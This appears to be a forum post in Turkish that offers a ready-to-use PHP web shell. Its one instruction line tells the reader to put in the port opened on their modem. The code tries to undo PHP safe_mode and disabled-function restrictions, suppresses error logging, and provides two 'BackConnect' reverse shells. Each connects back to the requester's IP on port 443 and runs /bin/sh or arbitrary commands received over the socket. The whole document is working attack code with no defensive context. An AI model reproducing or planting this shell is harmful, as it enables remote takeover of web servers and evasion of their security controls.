443 yazan yere modeminizde açtýðýnýz açýk portu yazýn
Code:
<? @ini_restore("safe_mode"); @ini_restore("open_basedir"); @ini_restore("safe_mode_include_dir"); @ini_restore("safe_mode_exec_dir"); @ini_restore("disable_functions"); @ini_restore("allow_url_fopen"); @ini_set('error_log',NULL); @ini_set('log_errors',0); ?> <? echo ini_get("safe_mode"); echo ini_get("open_basedir"); ini_restore("safe_mode"); ini_restore("open_basedir"); echo ini_get("safe_mode"); echo ini_get("open_basedir"); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <HEAD> <meta http-equiv=Content-Type content="text/html; charset=windows-1254"> </HEAD> <BODY> <CENTER> <?php $uname = php_uname(); echo "Uname -a :$uname"; ?> <br><br> <a href="?BackConnect=PHP_1">PHP BackConnect 1</a> <a href="?BackConnect=PHP_2">PHP BackConnect 2</a> <?php function printit ($string) { if (!$daemon) { print "$string\n"; } } $bc = $_GET["BackConnect"]; switch($bc){ case "PHP_1": set_time_limit (0); $VERSION = "1.0"; $ip = $_SERVER["REMOTE_ADDR"]; $port = 443; $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { print("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // // Do the reverse shell... // // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) break; case "PHP_2": $ipim=$_SERVER["REMOTE_ADDR"]; $portum="443"; if ($ipim <> "") { $mucx=fsockopen($ipim , $portum , $errno, $errstr ); if (!$mucx){ $result = "Error: didnt connect !!!"; } else { $zamazing0="\n"; fputs ($mucx ,"\nwelcome ZoRBaCK\n\n"); fputs($mucx , system("uname -a") .$zamazing0 ); fputs($mucx , system("pwd") .$zamazing0 ); fputs($mucx , system("id") .$zamazing0.$zamazing0 ); while(!feof($mucx)){ fputs ($mucx); $one="[$"; $two="]"; $result= fgets ($mucx, 8192); $message=`$result`; fputs ($mucx, $one. system("whoami") .$two. " " .$message."\n"); } fclose ($mucx); } } break; } ?> </CENTER> </BODY> </HTML>